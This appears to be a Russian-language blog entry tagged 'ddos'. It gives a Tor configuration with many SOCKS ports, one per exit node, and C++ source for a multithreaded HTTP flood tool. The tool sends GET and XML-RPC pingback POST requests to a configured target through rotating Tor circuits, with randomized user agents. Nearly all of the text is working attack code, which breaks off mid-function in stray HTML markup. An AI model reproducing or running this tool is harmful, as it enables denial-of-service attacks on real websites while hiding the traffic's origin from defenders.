Настроение: | cold |
Музыка: | RGN - Мир переполнен |
Entry tags: | ddos |
-------------- creating torrc file --------
DataDirectory ./tor
ControlPort 7051
SocksPort 7052
.
.
.
SocksPort 7300
----------------
разным socks портам соответствуют разные exit-nodes
----------------
root@localhost
root@localhost
root@localhost
---------------
компиляция:
root@localhost
------------------------ ddos.c ---------------
bool working;
char targetAddrs[5][20];
char hostnames[3][30];
int targets=2,hostsNum=1;
struct arguments {
int id;
};
int connection(int sock,const char* ip,int port) {
struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
addr.sin_addr.s_addr=inet_addr(ip);
return connect(sock,(struct sockaddr*)&addr,sizeof(addr));
}
bool socks4Connect(int sock,const char* ip,int port) {
char buff[10];
*(unsigned char*)&buff[0]=4;
*(unsigned char*)&buff[1]=1;
*(unsigned short*)&buff[2]=htons(port);
*(unsigned int*)&buff[4]=inet_addr(ip);
*(unsigned char*)&buff[8]=0;
send(sock,buff,9,MSG_NOSIGNAL);
bzero(&buff,sizeof(buff));
recv(sock,buff,sizeof(buff),0);
if(buff[1]=='\x5a') return true;
else return false;
}
int count=0,proxyPort=7052,nodes=20,sl=10,reqs=0,useSSL,connectTimeout,thrDelay;
pthread_mutex_t m=PTHREAD_MUTEX_INITIALIZER;
std::string cookies="";
char paths[10][70],ua[70];
int pathsNum=8;
void ddosINI() {
FILE* f=fopen("./ddos_ini","r");
if(f==NULL) working=false;
fscanf(f,"%s",&targetAddrs[0]); fscanf(f,"%s",&targetAddrs[1]); fscanf(f,"%s",&hostnames[0]); fscanf(f,"%d",&useSSL); fscanf(f,"%d",&connectTimeout); fscanf(f,"%d",&thrDelay);
std::cout<<targetAddrs[0]<<" "<<targetAddrs[1]<<" "<<hostnames[0]<<" "<<useSSL<<" "<<connectTimeout<<" "<<thrDelay<<"\n";
for(int i=0;i<8;i++) { fscanf(f,"%s",&paths[i]); std::cout<<paths[i]<<" "; }
std::cout<<"\n";
fclose(f);
}
void newCircuit(int ctrlPort) {
int sock=socket(PF_INET,SOCK_STREAM,0);
if(connection(sock,"127.0.0.1",ctrlPort)!=-1) {
char buff[70];
snprintf(buff,sizeof(buff),"%s","authenticate \"\"\r\nsignal newnym\r\nquit\r\n\r\n");
send(sock,buff,sizeof(buff),0);
}
close(sock);
}
void* ctrlThr(void* arg) {
while(1) {
ddosINI();
sleep(sl);
printf("%d requests\n",reqs);
snprintf(ua,sizeof(ua),"Mozilla/5.0 (Windows NT %d; WOW64; rv:%d.0) Gecko/20100%d Firefox/%d.0",rand()%4,rand()%4,rand()%100+100,rand()%10+36);
if(count<5) { nodes=20+rand()%10; working=false; }
else count=0;
FILE* f=fopen("./received_cmd","r");
char rcvcmd[30];
fscanf(f,"%s",&rcvcmd);
std::cout<<rcvcmd<<"\n";
fclose(f);
if(strstr(rcvcmd,"circuit")!=NULL) newCircuit(7051);
f=fopen("./sending_status","w"); fprintf(f,"%d requests per %d seconds",reqs,sl); fclose(f);
reqs=0;
}
}
const SSL_METHOD* method;
SSL_CTX* ctx;
void* DoSThread(void* arg) {
struct arguments* a=(struct arguments*)arg;
int id=a->id;
char buff[2048],request[5000];
std::string path=paths[rand()%pathsNum], ref=path;
std::string rayID="";
char hostname[30];
snprintf(hostname,sizeof(hostname),"%s",hostnames[id%hostsNum]);
std::string protocol="http";
if(useSSL) protocol+="s";
protocol+="://";
while(working) {
int sock=socket(PF_INET,SOCK_STREAM,0);
if(sock<0) { perror("socket()"); working=false; }
int on=1;
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(int*)&on,sizeof(int));
struct timeval tv;
tv.tv_sec=connectTimeout;
setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(struct timeval*)&tv,sizeof(tv));
if(connection(sock,"127.0.0.1",proxyPort+id%nodes)==-1) {
perror("connect()");
working=false;
}
if(socks4Connect(sock,id<100 ? targetAddrs[0] : targetAddrs[1],useSSL ? 443 : 80)) {
SSL* ssl;
if(useSSL) {
ssl=SSL_new(ctx);
SSL_set_fd(ssl,sock);
SSL_connect(ssl);
}
reqs++;
pthread_mutex_lock(&m);
count++;
pthread_mutex_unlock(&m);
bzero(&request,sizeof(request));
char method[5];
char headers[100];
char data[500];
if((rand()%10)%2==0) snprintf(method,sizeof(method),"%s","GET");
else {
snprintf(method,sizeof(method),"%s","POST");
snprintf(data,sizeof(data),"<?xml version=\"1.0\"?>"
"<methodCall>"
"<methodName>pingback.ping</methodName>"
"<params>"
"<param><value><string>%s%s%s</string></value></param>"
"<param><value><string>%s%s%s</string></value></param>"
"</params>"
"</methodCall>",protocol.c_str(),hostname,path.c_str(),protocol.c_str(),hostname,path.c_str());
snprintf(headers,sizeof(headers),"Content-Length: %d\r\nContent-Type: text/xml\r\n",strlen(data));
}
snprintf(request,sizeof(request),"%s %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Referer: %s%s%s\r\n"
"User-Agent: %s\r\n"
"%s"
"%s"
"Cache-Control: no-cache\r\n"
"Accept-Language: en-us\r\n"
"%s"
"Connection: Keep-Alive\r\n\r\n%s",method,path.c_str(),hostname,protocol.c_str(),hostname,ref.c_str(),ua,headers,cookies.c_str(),rayID.c_str(),data);
if(useSSL ? SSL_write(ssl,request,sizeof(request))<0 : send(sock,request,sizeof(request),0)==-1) perror("send()");
std::cout<<"\033[32;2mPosting "<<id<<" ("<<method<<" "<<path<<" HTTP/1.1)\033[0m\n";
ref=path;
path=paths[rand()%pathsNum];
bzero(&buff,sizeof(buff));
tv.tv_sec=3;
setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(struct timeval*)&tv,sizeof(tv));
if(useSSL ? SSL_read(ssl,buff,sizeof(buff))>0 : recv(sock,buff,sizeof(buff),0)>0) {
const std::regex responseHeader("HTTP/(.*?)\r\n");
std::smatch sm;
std::string res=buff;
if(regex_search(res,sm,responseHeader)) std::cout<<"\033[31;2mHTTP/"<<sm.str(1)<<"\033[0m\n";
char* found=strstr(buff,"Set-Cookie: ");
if(found!=NULL) cookies="";
found=strstr(buff,"HTTP/1.1 403");
if(found!=NULL) cookies="";
std::string redirect="Location: ";
found=strstr(buff,"HTTP/1.1 301");
<span class="hljs-keyword" style="font-weight: bold; color: rgb(68, 68, 68); font-family: monospace; font-size: 15p